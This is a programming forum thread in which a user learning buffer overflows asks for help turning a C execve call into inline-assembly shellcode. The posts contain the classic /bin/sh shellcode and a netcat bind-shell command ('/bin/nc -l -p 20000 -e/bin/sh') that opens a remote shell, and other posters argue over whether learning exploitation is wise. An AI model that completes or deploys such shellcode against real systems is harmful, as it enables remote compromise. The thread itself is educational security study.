Thread: Assembly in C?

  1. #1
    Registered User
    Join Date
    Jul 2007
    Posts
    186

    Assembly in C?

    I'm trying to write some shell code, to learn about buffer-overflows. I'm following a tutorial and trying to put some assembly into C and get the code to compile (or assemble...). Anyway, here's the code that won't compile.

    Code:
    __asm__("
            jmp    0x2a
            popl   %esi
            movl   %esi,0x8(%esi)
            movb   $0x0,0x7(%esi)
            movl   $0x0,0xc(%esi)
            movl   $0xb,%eax
            movl   %esi,%ebx
            leal   0x8(%esi),%ecx
            leal   0xc(%esi),%edx
            int    $0x80
            movl   $0x1, %eax
            movl   $0x0, %ebx
            int    $0x80
            call   -0x2f
            .string \"/bin/sh\"
    ");
    I think the problem is .string \"/bin/sh\" I think it has to do with the combination of slashes and quotation marks.

  2. #2
    Registered User carrotcake1029's Avatar
    Join Date
    Apr 2008
    Posts
    404
    This all has to do with your compiler and what it supports. What compiler are you using?

  3. #3
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    gcc version 4.1.2 20071124 (Red Hat 4.1.2-42)

  4. #4
    Kernel hacker
    Join Date
    Jul 2007
    Location
    Farncombe, Surrey, England
    Posts
    15,677
    Why are you messing with buffer overflows? It's like saying "I'm using drugs to see what it's like" when the Police stops you for carrying drugs.

    There is ABSOLUTELY no reason to understand buffer overflows further than "it can be abused", just like it's enough to understand that heroin is not good for you (you don't need to try it out to know that).

    --
    Mats
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

  5. #5
    Registered User
    Join Date
    Jul 2008
    Posts
    11
    I think i disagree. What if he wants to learn about safety issues, then i think having knowledge about these kind of hacks/ attacks can be an advantage.

  6. #6
    Kernel hacker
    Join Date
    Jul 2007
    Location
    Farncombe, Surrey, England
    Posts
    15,677
    Quote Originally Posted by pic-o-matic View Post
    I think i disagree. What if he wants to learn about safety issues, then i think having knowledge about these kind of hacks/ attacks can be an advantage.
    But it is enough to understand that if you do not check the boundaries of inputs, you are vulnerable to attack. Are police-officers that work to stop drug-dealing actually taking drugs during their training? Do people need to be shot before they understand that guns can hurt someone? [Yes, I know, some people probably do need that].

    --
    Mats
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

  7. #7
    Registered User Maz's Avatar
    Join Date
    Nov 2005
    Location
    Finland
    Posts
    194
    Except that there's some "security courses" which require you to study the issues. If you want to be able to fix vulnerabilities, you need to understand them.

    And I am not sure about this, since I suck at asm, but it might be you need to bring the text in asm as variable, and use extended asm to use it. (But as I stated, I am far from good with asm, so I may well be just shooting without proper aiming )

  8. #8
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    I appreciate help so far. I'm really stuck though and if this isn't the right place for this then perhaps you can direct me to a good forum on assembly programming with C or something.

    I don't understand why this code doesn't compile. I'm getting several errors that don't make sense to me.

    testportbind.c:163: Error: junk `(%esi)' after expression
    testportbind.c:163: Error: suffix or operands invalid for `mov'
    testportbind.c:169: Error: suffix or operands invalid for `lea'
    testportbind.c:170: Error: junk `(%esi)' after expression
    testportbind.c:170: Error: suffix or operands invalid for `lea'

    I don't know enough about assembly to figure out what this means.

    Code:
    void main()
    {
    __asm__(
            "jmp	call\n\t"
            "start:\n\t"
    	"popl   %esi\n\t"
            "movl   %esi,$0x8(%esi)\n\t"
            "xorl %eax,%eax\n\t"
    	"movb $eax,0x7(%esi)\n\t"
    	"movl $eax,0xc(%esi)\n\t"
            "movb   $0xb,%al\n\t"
            "movl   %esi,%ebx\n\t" 
            "leal   $0x8,(%esi),%ecx\n\t"
            "leal   $0xc(%esi),%edx\n\t"   
            "int    $0x80\n\t"                    
            "xorl %ebx,%ebx\n\t"		
            "movl   %ebx, %ebx\n\t"
    	"inc %eax\n\t"		
    	"int    $0x80\n\t"			
            "call:\n\t"
    	"call   start\n\t"		        
            ".string \"/bin/nc\"\n\t"
    	".string \"-l\"\n\t"
    	".string \"-p 20000\"\n\t"
    	".string \"-e/bin/sh/\""
    );
    // 	char *args[] = {"/bin/nc","-l","-p 20000","-e/bin/sh",NULL};
    // 	execve(args[0],args,NULL);
    // 	exit(0);
    }

  9. #9
    Registered User
    Join Date
    Oct 2008
    Posts
    1,262
    I never used inline assembly, even when learning about buffer overflows. You don't really need to use it.

    However, I completely disagree with matsp...
    I think you can compare it with people who go to practice shooting in a controlled environment. That definitely does not mean they're going to rob a bank or kill someone. It's just fun, and it can always be very useful.

    To be able to code secure programs, do you need to know how buffer overflows are exploited? No, maybe not. But if you know what happens "backstage" you know why these vulnerabilities happen. With this skillset in the back of your head, you will actually understand what you're doing when you're not writing beyond - of in front of - a buffer.
    What you definitely do need this for is to defend against hackers or for security research. In the field of security it is widely accepted that you need to have the hacker's skillset to defend against him.

    I've done a lot of security research in all kinds of fields. For fun. And I have coded exploits for buffer overflows. And I've had a lot of fun doing it. And I have never yet used one in the wild. That is; I used the gun on a shooting range, but I never shot a man.

    To be honest, I think it's a good thing for any programmer to learn.

  10. #10
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    The way I learned to do it, first I write some c-code like so:
    Code:
    char *args[] = {"/bin/nc","-l","-p 20000","-e/bin/sh",NULL};
    execve(args[0],args,NULL);
    Then I disassemble it and try and piece together what the actual assembly should be to make it work. This is where I'm having trouble.. I figure if I can do inline assembly I can at least check myself to see if I did it right or not and then once I have the inline assembly I can get the hex from that. That's the only way I know how to do it.

    And apparently I don't even know how to do it that way! I'm trying to start small for now though and see if I can build it together slowly. The first thing I need to overcome is my confusion about how the stack is organized.

    I'd like to find out where my arguments are. Here's some assembly code that I assumed corresponded to where my arguments went:
    Code:
    0x08048241 <main+17>:	movl   $0x80a66c8,-0x18(%ebp) //put the arguments in memory (/bin/nc)
    0x08048248 <main+24>:	movl   $0x80a66d0,-0x14(%ebp) //there are four arguments	(-l)
    0x0804824f <main+31>:	movl   $0x80a66d3,-0x10(%ebp) //I don't know which order they're in	(-p 20000)
    0x08048256 <main+38>:	movl   $0x80a66dc,-0xc(%ebp)  //I suppose I can find out		(-e/bin/sh)
    0x0804825d <main+45>:	movl   $0x0,-0x8(%ebp)	      //The last one is NULL though
    That's my guess as to which argument is which. Then things get put onto the stack and execve is called:
    Code:
    0x08048264 <main+52>:	mov    -0x18(%ebp),%edx	      //This is probably the first argument, put it in edx
    0x08048267 <main+55>:	movl   $0x0,0x8(%esp)	      //Put 0 on the stack (NULL)
    0x0804826f <main+63>:	lea    -0x18(%ebp),%eax	      //Put the address of the first argument into eax
    0x08048272 <main+66>:	mov    %eax,0x4(%esp)	      //Put the address of the first argument onto the stack
    0x08048276 <main+70>:	mov    %edx,(%esp)	      //Put the first argument onto the stack
    0x08048279 <main+73>:	call   0x804e4e0 <execve>     //When I call there are 3 things I need, all on the stack at 0,4,8
    Obviously I have more than one argument but I assume its smart enough to know it should go to the end of my args array to find them all.

    Ok, then in execve I get confused because I'm not sure where everything went.
    Code:
    0x0804e4e0 <execve+0>:	push   %ebp
    0x0804e4e1 <execve+1>:	mov    %esp,%ebp
    0x0804e4e3 <execve+3>:	mov    0x10(%ebp),%edx		//Take one of these things and put it into edx
    0x0804e4e6 <execve+6>:	push   %ebx			
    0x0804e4e7 <execve+7>:	mov    0xc(%ebp),%ecx		//Take one of these things and put it into ecx
    0x0804e4ea <execve+10>:	mov    0x8(%ebp),%ebx		//Take one of these things and put it into ebx
    0x0804e4ed <execve+13>:	mov    $0xb,%eax		//eax gets the code for the call
    0x0804e4f2 <execve+18>:	int    $0x80			//call
    Do you think you can help me out?

    Thanks so much

  11. #11
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    I don't think this will work but I think I'm on the right track:
    Code:
    jmp call   //first jump to call
    start:
    pop %esi //the return address to /bin/nc should be here
    mov $0x0,%edx //put a 0 into edx for null
    lea %esi,%ecx //load whatever is at this address and put it into ecx, hopefully these are all of my arguments? ::crosses fingers::
    mov %esi,%ebx//put the address of my arguments into ebx
    mov $0xb,$eax //put the code for execve into eax
    int $0x80 //call eax
    call:
    call start //now jump back to start but put the return address as the address to "/bin/nc" on the stack
    .string "/bin/nc"
    .string "-l"
    .string "-p 20000"
    .string "-e/bin/sh/"

  12. #12
    Registered User
    Join Date
    Apr 2009
    Posts
    18
    Just out of interest have you written many programs before jcafaro?

    I have limited experience but don't understand a single line of you code. Can you explain a couple of lines for me?
    Code:
    "call:\n\t"
    	"call   start\n\t"		        
            ".string \"/bin/nc\"\n\t"
    	".string \"-l\"\n\t"
    	".string \"-p 20000\"\n\t"
    	".string \"-e/bin/sh/\""
    );
    // 	char *args[] = {"/bin/nc","-l","-p 20000","-e/bin/sh",NULL};
    kinda of looks like gibberish to me.....

    but i'm quite new to this lol

    Jez

  13. #13
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    I would say I'm a fairly experienced programmer. Perhaps not in C but I have done a lot of programming. Basically what I'm trying to do is take some C code, (the commented out lines from the code you quoted me with) and turn it into assembly. The lines of code inside the _asm part are the "inline assembly" I'm trying to get to work.

  14. #14
    Registered User
    Join Date
    Jul 2007
    Posts
    186
    Hey I'm reallllly close. My only thing that I'm not getting is how to make an array of arguments in assembly?

    Code:
     __asm__(
    "jmp call\n\t"
    "start:\n\t"
    "pop %esi\n\t"
    "mov $0x0,%edx\n\t"
    "lea 0x?(%esi),%ecx\n\t"	//how much do I count?
    "mov %esi,%ebx\n\t"
    "mov $0xb,%eax\n\t"
    "int $0x80\n\t"
    "call:\n\t"
    "call start\n\t"
    ".string \"/bin/nc\"\n\t"
    ".string \"-l\"\n\t"
    ".string \"-p 20000\"\n\t"
    ".string \"-e/bin/sh/\"\n\t"
    );
    Basically when you call JMP it goes to CALL and pushes the address of the string /bin/nc on the stack. which I then push into %esi. mov %esi to %ebx works and nc gets called but none of the addresses get called. I need to pass the rest of the arguments somehow but I'm not sure how.

  15. #15
    Kernel hacker
    Join Date
    Jul 2007
    Location
    Farncombe, Surrey, England
    Posts
    15,677
    jmp call just jumps to the call start instruction. The call start pushes the address of you string on the stack, and then jumps to the start label. esi now contains the address of "/bin/nc". You then need to push the address of the remaining arguments. Where do YOU think they should be?

    --
    Mats
    Compilers can produce warnings - make the compiler programmers happy: Use them!
    Please don't PM me for help - and no, I don't do help over instant messengers.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Learning Assembly
    By mrafcho001 in forum Tech Board
    Replies: 5
    Last Post: 03-12-2006, 05:00 PM
  2. C to assembly interface
    By Roaring_Tiger in forum C Programming
    Replies: 4
    Last Post: 02-04-2005, 03:51 PM
  3. assembly language...the best tool for game programming?
    By silk.odyssey in forum Game Programming
    Replies: 50
    Last Post: 06-22-2004, 01:11 PM
  4. True ASM vs. Fake ASM ????
    By DavidP in forum A Brief History of Cprogramming.com
    Replies: 7
    Last Post: 04-02-2003, 04:28 AM
  5. C,C++,Perl,Java
    By brusli in forum C Programming
    Replies: 9
    Last Post: 12-31-2001, 03:35 AM